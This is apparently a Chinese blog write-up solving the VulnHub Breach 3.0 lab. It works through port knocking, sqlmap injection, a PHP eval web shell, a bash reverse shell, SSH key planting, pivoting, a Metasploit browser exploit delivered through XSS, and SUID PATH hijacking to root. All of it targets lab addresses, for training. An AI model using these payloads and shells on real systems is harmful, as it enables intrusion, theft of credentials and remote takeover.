靶场：Breach3.0攻略

用户3521802454752025-07-20 16:26

Breach 3.0 是一个用于网络安全训练的虚拟靶场（Cyber Range），旨在为网络安全专业人员、学生、研究人员以及企业提供一个模拟真实网络环境的安全测试和训练平台。它通过虚拟化技术模拟复杂的网络架构和攻击场景，帮助用户练习检测、防御和应对网络攻击的技能。

安装:

官网地址：www.vulnhub.com/entry/breac...，将下载的环境解压出来，使用vm导入环境即可。

靶场提示：

swift 复制代码 
 密码1：thelaststraw
 密码2：damnitfeel$goodtobeagang$ta
 靶场中存在虚拟机qemu（两个）
 目标：拿下3个flag（分别是：flag1、flag2、flag3）

查看虚拟机的网段

192.168.244.0/24

编辑->虚拟网路编辑器

获取目标ip

css 复制代码 
 netdiscover -i eth0 -r 192.168.244.0/24

netdiscover肯定和神器nmap无法相提并论。但是netdiscover也有它自身独特的优势，比如针对局域网的扫描比较快速准确，并将结果以列表的形式展现出来。而nmap相对来说比较耗时。

发现ip

192.168.244.142，如果无法确定是哪个ip，可以先把Breach3.0关掉，然后在打开，看新增的是哪个ip。

扫描次ip的端口：

复制代码 
 nmap -sU 192.168.244.142

-sU:指定发起UDP扫描

复制代码 
 nmap 192.168.244.142

信息收集列表：

ip 信息内容 端口 说明
192.168.244.142 端口 999
端口 161 snmp
网卡信息 00:50:56:F3:24:9E

通过snmp协议信息收集

arduino 复制代码 
 snmpwalk -Os -c public -v 1 192.168.244.142

参数：

-Os：输出时显示 OID（对象标识符）的简短名称，而不是完整的 OID 路径。

-c public：指定 SNMP 社区字符串为 public，这是默认的只读社区字符串。

-v 1：指定使用 SNMP 版本 1（SNMPv1）。

192.168.244.142：目标设备的 IP 地址，即你要查询的 SNMP 设备。

作者留下的重要信息：

ini 复制代码 
 iso.3.6.1.2.1.1.4.0 = STRING: "Email: Milton@breach.local - (545)-232-1876"
 iso.3.6.1.2.1.1.5.0 = STRING: "Initech-DMZ01"
 iso.3.6.1.2.1.1.6.0 = STRING: "Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again."
 ​

根据提示，可能使用了端口隐藏技术，(545)-232-1876 是三个端口545、232、1876；

使用knocker敲门

下载knocker.sh:

bash 复制代码 
 wget https://gh-proxy.com/https://github.com/adaywithtape/knocker/blob/master/knocker.sh
 chmod +x knocker.sh
 ./knocker.sh -i 192.168.244.142 -p 545,232,1876

再次使用nmap扫描:

复制代码 
 nmap 192.168.244.142

结果：

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
2048/tcp open dls-monitor
5800/tcp open vnc-http
10009/tcp open swdtp-sv
10010/tcp open rxapi

ssh连接,尝试弱口令

尝试root、admin、123456后，都提示密码错误。

这边又有提示555-423-1800，我们再把这个当隐藏端口序列试试；

css 复制代码 
 ./knocker.sh -i 192.168.244.142 -p 555,423,1800

再次扫描：

复制代码 
 nmap 192.168.244.142

发现目标隐藏起来的 8 端口

http访问8端口

复制代码 
 192.168.244.142:8

使用旧版本的火狐浏览器登录后，发现用户名是：milton，根据靶机的提示输入密码：thelaststraw

登录后：

点击place：

这边是登录框，尝试弱口令、sql注入、xss、CSRF等方式。

sql注入

在登录的窗口转包，并把请求内容保存成1.txt

css 复制代码 
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs

执行之后出现一个302跳转界面，这里提示数据是否提交到302的跳转界面，要选择n，不要将数据提交过去,其他的情况都是y。

成功注入，得到数据库信息：

password参数存在布尔盲注与时间盲注漏洞。

sql 复制代码 
 ---
 Parameter: password (POST)
     Type: boolean-based blind
     Title: OR boolean-based blind - WHERE or HAVING clause
     Payload: username=admin&password=-1850' OR 7115=7115-- VLih&submit= Login 
 ​
     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin&password=admin' AND (SELECT 9349 FROM (SELECT(SLEEP(5)))tOux)-- pjaR&submit= Login
 ---
 ​

得到一个数据库thebobs与backups

go 复制代码 
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D thebobs -p password
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D backups -p password

查看里面的数据：

css 复制代码 
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D thebobs -T login -p password

获取到一个账号密码：

admin：8f4fadb24304d60d9dcb1589aa6a5c2d2d373229

css 复制代码 
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D backups -T info -p password

backups-info中的数据：

id comments password username
1 Trying out a new encryption method, not in production yet Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K blumbergh
2 Account disabled after he went off the rails. No need to encrypt thelaststraw milton
3 :) ? root

密码破解

在kali中查看这个密文是使用什么加密的

复制代码 
 hashid 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229

使用www.somd5.com/，破解是：randomhash

blumbergh经过5次的base64破解得到：C0ff33stainS

5次的破解路径如下：

Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K VlZod1EySldjSEZVV0hCcVRURktiMWxXWXpGV1JVNXVVRlF3U3dvPQo= VVhwQ2JWcHFUWHBqTTFKb1lWYzFWRU5uUFQwSwo= UXpCbVpqTXpjM1JoYVc1VENnPT0K QzBmZjMzc3RhaW5TCg== C0ff33stainS

登录网站

根据sqlmap的检测我们知道password字段有注入点，输入

ini 复制代码 
 -1850' OR 7115=7115-- VLih
 我们优化下，输入：
 ' or '1' ='1
bash 复制代码 
 http://192.168.244.142:8/breach3/index.php

登录Intech Home>Employee portal>Livechat

地址：

bash 复制代码 
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php

随便输入内容，提交后，路劲该改变：

bash 复制代码 
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=Submit#

searcher=Submit是突破口，有命令执行的漏洞，我们输入

bash 复制代码 
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=whoami#

这个web的系统账号samir。

获取代码路径：

bash 复制代码 
 pwd
 /var/www/html/breach3/thebobscloudhostingllc

使用蚁剑

创建s.php文件，共蚁剑访问，具体请求如下：

bash 复制代码 
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo '<?php @eval($_POST[5574]); ?>' >s.php

蚁剑访问地址如下：

bash 复制代码 
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/s.php

由于使用了basic认证模式，所以 需要添加header的参数：Authorization，并对milton:thelaststraw进行base64编码，值为：

Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==，具体的蚁剑配置如下：

成功连接：

找到一个flag：

arduino 复制代码 
 /home/thebobs/flag1

没有权限打开，只有文件归属于：thebobs

一般进站后收集的内容有：

bash 复制代码 
 /etc/passwd
 /home   #一般home目录都有访问权限
 /etc/ssh/sshd_config
 /etc/crontab
 sudo -l
 ifconfig    #网络信息
 /var/www/html/  #收集网站信息，看看数据库
  • sudo -l

samir用户可以使用thebobs的chmod授权功能，既能能直接修改flag1的权限；

执行：

bash 复制代码 
 #指定使用thebobs用户执行chmod，修改权限
 sudo -u thebobs chmod 777 flag1

获取到flag1的信息：

breach3{the_dmz_is_burning}

  • /home信息收集：
bash 复制代码 
 查看/home/thebobs的权限：
 ls -la /home/thebobs
 ls -la /home/thebobs/.ssh

authorized_keys也有修改的权限，那么考虑通过ssh免密登录的方式。

bash 复制代码 
 查看sshd_config的配置，是否可以使用thebobs进行ssh登录
 /etc/ssh/sshd_config

这边的意思是只允许thebobs登录。

  • 根据源码找数据库账号密码:

    账号root， 没有密码

由于在蚁剑中shell为非交互式的，

下使用thebobs账号免密登录试试看。

免密登录thebobs账号

  • 蚁剑中运行

把公钥的信息复制到authorized_keys，那是使用这个私钥的信息就能免密登录这台服务器了。

bash 复制代码 
 cat /home/thebobs/.ssh/id_rsa.pub > /home/thebobs/.ssh/authorized_keys

修改authorized_keys与.ssh的权限，才能登录，不然还是无法登录

bash 复制代码 
 sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys
 sudo -u thebobs chmod 700 /home/thebobs/.ssh
  • kali中运行

把私钥信息复制到kali本地的id_rsa文件中，并执行免密登录命令

ini 复制代码 
 chmod 700 id_rsa
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa
 -l 这个选项指定了要以哪个用户身份登录到远程服务器
 -o PubkeyAcceptedKeyTypes=ssh-rsa 这个选

进入bin/bash的交互式命令行：

arduino 复制代码 
 import pty;pty.spawn('/bin/bash')

现在登录mysql，能正常访问

ini 复制代码 
 mysql -uroot
 show databases;
 use backups;
 show tables;
 select * from info;

由于之前slq注入的时候已经收集了些信息，这边就不在收集；

  • 收集网络信息

    ifconfig

内网地址段的探测：192.168.122 网段

bash 复制代码 
 for i in $(seq 2 254); do ping -c 1 192.168.122.$i -w 1 | grep "bytes from ";  done

得到内网中存活的两台虚拟机的IP地址：192.168.122.28和192.168.122.65

收集新的服务器信息

在192.168.244.142 有nmap软件，我们直接使用nmap进行扫描：

css 复制代码 
 nmap -p- -A 192.168.122.28 192.168.122.65
 -p-：扫描所有端口（1 到 65535）。
 -A：启用操作系统检测、版本检测、脚本扫描和路由跟踪等高级功能。

获取192.168.122.65开启的端口信息

vbscript 复制代码 
 22/tcp   open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
 |_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
 80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
 |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
 8800/tcp open  http    nginx 1.6.2
 | http-auth: 
 | HTTP/1.1 401 Unauthorized
 |_  Basic realm=Restricted Area
 |_http-methods: No Allow or Public header in OPTIONS response (status code 401)
 |_http-title: 401 Authorization Required

192.168.122.65的80端口测试

把192.168.122.65的80端口转发到kali服务器的端口，方便我们访问

ini 复制代码 
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18080:192.168.122.65:80

访问192.168.244.140:18080，能正常访问成功!

有PDF Converter功能，测试是否有存在漏洞

PDF Converter漏洞是无回显的RCE类型的漏洞。如果验证该漏洞存在的话，可以使用延时函数：sleep；

使用burp suite抓包重放,有效果，即使有这个漏洞。

使用新增一个一句话木马文件，

bash 复制代码 
 `echo '<?php @eval($_POST[5574]); ?>' >s.php`
 访问地址：
 http://192.168.244.140:18080/intranet/s.php

peter目录下找到对应的flag2，但是没有权限：

samir在/home/samir/.notes.txt找到密码：samir:infosecrockstar

网站文件分析：html2是samir账号下的文件，估计可以使用上面的密码，html目录下没有找到数据库信息；

由于在蚁剑中有些命令无法执行，需要通过反弹shell执行。

在kali开启nc接收反弹的shell会话

yaml 复制代码 
 nc -lvvp 2323

在蚁剑的命令行中执行

bash 复制代码 
 /bin/bash -c 'bash -i >& /dev/tcp/192.168.244.140/2323 0>&1'

#如果是通过url执行需要优化代码，在URL网址中的 & 符号代表参数。因此需要进行转码才能使 & 符生效。

bash 复制代码 
 /bin/bash -c 'bash -i >%26 /dev/tcp/10.0.0.20/2323 0>%261'

连接上后，设置交互性shell

ruby 复制代码 
 www-data@Initech:/var/www/html/intranet$ tty
 tty
 not a tty
 www-data@Initech:/var/www/html/intranet$ python -c "import pty;pty.spawn('/bin/bash')"
 <tml/intranet$ python -c "import pty;pty.spawn('/bin/bash')"                 
 www-data@Initech:/var/www/html/intranet$ tty
 tty
 /dev/pts/1

查看home下面各个账号的信息，没有192.168.244.142服务器那样给我们.ssh修改的权限，所以无法通过免密登录方式登录账号。

尝试使用peter、samir 、thebobs三个账号与我们手机到的密码测试；

使用peter：damnitfeel <math xmlns="http://www.w3.org/1998/Math/MathML"> g o o d t o b e a g a n g goodtobeagang </math>goodtobeagangta 能正常登录；

进入交互式命令行：

arduino 复制代码 
 import pty;pty.spawn('/bin/bash')

获取到flag2的信息：

ruby 复制代码 
 peter@Initech:~$ cat flag2
 cat flag2
 breach3{what_secrets_is_bill_hiding?}

根据flag2的提示：what secrets is bill hiding （bill隐瞒了什么秘密），flag3应该是bill这台服务器上,而bill这台机器其实是我们前面做信息收集，扫描虚拟机的那台：bill-desktop IP地址为： 192.168.122.28 但是刚刚使用nmap进行扫描的时候，并没有发现bill-desktop这台机器开放任何端口。 那么此时的突破口依然还是在当前这台Peter的虚拟机上面，因此需要继续做信息收集。

复制代码 
 netstat -lntp
bash 复制代码 
 wget 192.168.244.140:8081/linpeas.sh

192.168.122.65的8800端口测试

根据之前收集的信息，8800是 nginx服务，我们先去看看nginx相关的文件收集信息。

nginx的路径：/etc/nginx

ini 复制代码 
 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
 server {
         listen 8800 default_server;
         listen [::]:8800 default_server;
         root /var/www/html2;
         index index.html index.php index.htm index.nginx-debian.html;
         server_name _;
         location / {
                 try_files $uri $uri/support/index.php;
         }
 ​

识别8800的网页路径：/var/www/html2

查看nginx日志文件

bash 复制代码 
 cd /var/log/nginx
 ls -la

将具有的可读的文件copy到/tmp目录中进行操作：

bash 复制代码 
 cp access.log.9.gz /tmp
 cd /tmp
 gunzip access.log.9.gz
 cat access.log.9
 cat access.log.9 | grep 192.168.122.28
css 复制代码 
 192.168.122.28 - - [29/Sep/2016:05:50:07 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:21 -0400] "GET /support/ticket.php HTTP/1.1" 404 47 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:39 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"

分析上面的内容192.168.122.28的会定时访问/support/ticket.php，通过Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0，Firefox/22.0也是会有漏洞的。

查看/support/ticket.php的源码：

bash 复制代码 
 cd /var/www/html2/support/
 cat ticket.php

会查询tickets的表信息；

kali端口转发设置：

ini 复制代码 
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18081:192.168.122.65:8800

lazyadmin: <math xmlns="http://www.w3.org/1998/Math/MathML"> a p r 1 apr1 </math>apr1T/HawTDx$Rustt4xkTc.rtvGXTnpkV1

根据之前html2的目录是samir账号，我们可以使用下面账号试试

samir|infosecrockstar

这边输入的信息与ticket.php中要展示的字段类似。

综合之前收集的信息，估计需要xss可以获取到192.168.122.28的shell，那么我们先试试xss，输入：

xml 复制代码 
 <script>alert(1);</script>

通过burp suite拦截后设置

然后访问/support/ticket.php信息。

验证此漏洞之后，需要把提交的XSS漏洞的表单清除，不然192.168.122.28访问的时候会卡在这个弹窗上。

192.168.122.65的XSS漏洞利用

使用msfconsole查看firefox 20 Remote，并使用exploit/multi/browser/firefox_tostring_console_injection

arduino 复制代码 
 search firefox 20 Remote
 use exploit/multi/browser/firefox_tostring_console_injection
 options
 set srvhost 192.168.244.140
 set srvport 18082
 set uripath ticket
 run
bash 复制代码 
 xss注入点需要访问的地址：
 http://192.168.244.140:18082/ticket
 具体输入的内容是：
 <iframe src="http://192.168.244.140:18082/ticket"> </iframe>

等待一段时间之后，MSF中会接受到来自靶机的会话。

注意每3分钟登录一次，这边登录的比较多，如果一直登录不上，可以重启的虚拟机，在试试。登录后，我们之前添加的xss数据删掉，避免有太多会话。由于目前会话很容易断开，所以切换到稳定的shell

arduino 复制代码 
 use post/multi/manage/shell_to_meterpreter
 set lhost 192.168.244.140
 set session 1
 run
bash 复制代码 
 sessions 6
 shell
 #交互会话
 python -c "import pty;pty.spawn('/bin/bash')"

通过分析目录firefox.sh文件与crontab，即使每个3分钟发送http请求到192.168.122.65

bash 复制代码 
 cat firefox.sh
 crontab -l

192.168.122.28信息收集

查看flag脚本

javascript 复制代码 
 find / -name "flag*" 2>/dev/null

找不到flag3，查看home下面，有blumbergh账号，我们之前有收集到这个账号密码，我们可以切换这个账号试试；

再执行查找flag脚本，但是还是没有找到。估计是在root账号下，那么我们需要提权，我们先尝试SUID的提权。

查找有SUID权限的文件

typescript 复制代码 
 find / -perm -u=s -type f 2>/dev/null

swingline文件很可疑，有SUID权限并且在blumbergh目录下。

分析swingline文件，通过strings分析看看：

arduino 复制代码 
 strings /home/blumbergh/swingline

根据之前的经验，这个应该是坐着留下来的暗示。应该需要通过这个文件来获取root权限。另外 这边发现一个函数main，这个应该是入口函数。

arduino 复制代码 
 file /home/blumbergh/swingline

通过结果可以判断该文件是一个可执行的二进制文件。尝试执行：

bash 复制代码 
 ./swingline
ruby 复制代码 
 scp /home/blumbergh/swingline  root@192.168.244.140:/tmp

gdb分析swingline

  • gdb安装

    kali不会预安装gdb，所以我们需要安装，这边我们使用apt安装，我们先替换下源；

    bash 复制代码 
     vim /etc/apt/sources.list

    设置内地的源：

    csharp 复制代码 
     #中科大Kali镜像源
 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 #阿里云Kali镜像源
 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 #清华大学Kali镜像源
 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

    因为 Kali Linux 在 2025 年 4 月 28 日更新了签名密钥，但你的系统未导入新密钥。

    bash 复制代码 
     sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
    csharp 复制代码 
     #更新软件包：
 apt-get update
 #安装gdb：
 apt install gdb
 #检查gdb：
 gdb -v
 #为了让 GDB 显示 system 函数的源码信息
 apt install libc6-dbg

  • gdb swingline

    对主函数main函数进行反编译： disassemble main

markdown 复制代码 
在反编译的过程中发现调用函数有：

**setuid@plt**

-   **含义**：setuid 是一个 POSIX 系统调用，用于设置进程的**用户 ID**（UID）。@plt 表示这是通过过程链接表（PLT）调用的动态链接库函数，通常来自标准 C 库（如 glibc）。
-   **作用**：它用于更改当前进程的实际用户 ID 或有效用户 ID，常用于需要提升或降低权限的程序（如切换到 root 权限）。参数是一个 uid_t 类型的用户 ID。
-   **典型场景**：在需要以特定用户身份运行程序时使用，例如在 Linux 系统中某些需要特权的操作。

**strlen@plt**

-   **含义**：strlen 是标准 C 库函数，用于计算以 null 结尾的字符串的长度（不包括终止符 \0）。@plt 表示动态链接调用。
-   **作用**：接受一个字符串指针，返回字符串的字符数（size_t 类型）。
-   **典型场景**：常用于处理字符串长度，例如在字符串操作或内存分配中。

**puts@plt**

-   **含义**：puts 是标准 C 库函数，用于将以 null 结尾的字符串输出到标准输出（通常是终端），并自动追加一个换行符（\n）。@plt 表示动态链接调用。
-   **作用**：接受一个字符串指针，将其输出到 stdout。
-   **典型场景**：用于简单的字符串输出，例如打印提示信息或调试信息。

**encryptDecrypt**

-   **含义**：这不是标准库函数，而是一个自定义函数，名称暗示它可能用于加密或解密操作。
-   **作用**：根据名称推测，它可能实现某种对称加密/解密算法（如 XOR 加密、简单的自定义加密逻辑），用于处理数据加密或解密。具体的功能需要查看反编译后的代码实现。
-   **典型场景**：可能用于保护程序中的敏感数据（如字符串、密钥等），或在通信中加密/解密数据。

**system@plt**

-   **含义**：system 是标准 C 库函数，用于执行指定的 shell 命令。@plt 表示动态链接调用。
-   **作用**：接受一个字符串参数，表示要执行的 shell 命令，并通过调用 shell（通常是 /bin/sh）来运行该命令，返回命令的退出状态。
-   **典型场景**：用于执行外部命令，例如运行脚本、调用系统工具等。**注意**：使用 system 可能引入安全风险（如命令注入），特别是在处理用户输入时。

**main**

-   **含义**：main 是 C/C++ 程序的入口函数，通常是程序执行的起点。
-   **作用**：定义程序的主要逻辑，接受命令行参数（argc 和 argv），并返回一个整数表示程序的退出状态。
-   **典型场景**：作为程序的起点，调用其他函数（如上述函数）来完成程序的功能。

根据我们采集到函数的含义，system可能使我们要找的函数，因为我们发现这个文件要跟操作系统交互，才会有SUID权限，那么执行shell命令就是与操作系统交互的一种方式。

  • 我们调用下system，看下调用的是什么shell命令，设置断点调试：

    arduino 复制代码 
     b system
 run
bash 复制代码 
 ncat -6 -e /bin/bash 0:0:0:0:0:0:0:1 8889 >/dev/null 2>&1 && echo

调用的shell命令，其中ncat是相对路径，我们可以替换这个ncat，以获取root权限。

调用ncat的时候，把有用root权限的/bin/bash文件拷贝tmp目录，并给予授权，这样我们执行这个文件就能获取到root的权限了。

创建新的ncat文件

bash 复制代码 
 #!/bin/bash
 cp /bin/bash /tmp/shell
 chmod +s /tmp/shell
bash 复制代码 
 cd /tmp
 echo '#!/bin/bash' > ncat
 echo 'cp /bin/bash /tmp/shell' >> ncat
 echo 'chmod +s /tmp/shell' >> ncat
 chmod +x ncat
 export PATH=/tmp:$PATH
 /home/blumbergh/swingline
 ./shell -p
 -p 选项通常用于需要以特定权限运行的脚本或程序中，例如系统管理脚本或需要以 root 权限运行的脚本。
 它在 setuid 脚本中特别有用，因为它确保脚本以文件所有者的权限运行，而不会被调用者的环境变量或配置文件干扰。

全局目录查找flag3

bash 复制代码 
 find / -name '*flag3*'
 flag3文件的位置：
 /root/Desktop/ / /flag3.txt
 该文件所在的的目录路径是有空格存在的，因此还需要 \ 转义
 cat /root/Desktop/\ /\ /flag3.txt

总结

通过本次通过的学习，大量的工作是在信息收集，没有搜集到关键的信息，就无法找到突破口。使用大很多技术，knocker、sqlmap、密码破解、xss漏洞、蚁剑、免密登录、PDF Converter漏洞与反编译等技术，收货满满！

相关推荐
Gappsong8748 分钟前
浅析网络安全面临的主要威胁类型及对应防护措施
运维·网络·安全·web安全·网络安全
我再也不搞抽象了1 小时前
【网络安全领域】CTF竞赛指南：赛事详解、热门平台与信息获取方式
安全·web安全·php
脑袋大大的2 小时前
UniApp 自定义导航栏：解决安全区域适配问题的完整实践
前端·javascript·安全·uni-app·uniapp·app开发·uniappx
寒..2 小时前
网络安全第二次作业
安全
小帅一把手5 小时前
Exploiting DOM clobbering to enable XSS
安全·web安全·xss
半新半旧6 小时前
Java并发8--并发安全容器详解
java·python·安全
远方2357 小时前
Android无需授权直接访问Android/data目录漏洞
android·安全·文件·漏洞·目录·权限
网安Ruler8 小时前
服务攻防-Java组件安全&FastJson&高版本JNDI&不出网C3P0&编码绕WAF&写入文件CI链
java·安全·ci/cd
上海云盾商务经理杨杨9 小时前
2025阿里云黑洞自救指南：从分钟级恢复到长效免疫的实战方案
安全·web安全·网络安全·阿里云·云计算
热门推荐
01全球最强模型Grok4，国内已可免费使用！（附教程）02Cursor Claude 模型无法使用的解决方法03KGG转MP3工具|非KGM文件|解密音频04【2025.7.18】更新vscode后所有.vue文件template标签后报红的临时解决办法，Vue - Official 插件3.0.2导致05集群聊天服务器---MySQL数据库的建立06【无标题】07Claude Code 最新版已经支持 Windows 安装使用！08身弱武修法：玄之又玄，奇妙之门09使用Ruby接入实时行情API教程102024电赛H题参考方案（+视频演示）——自动行使小车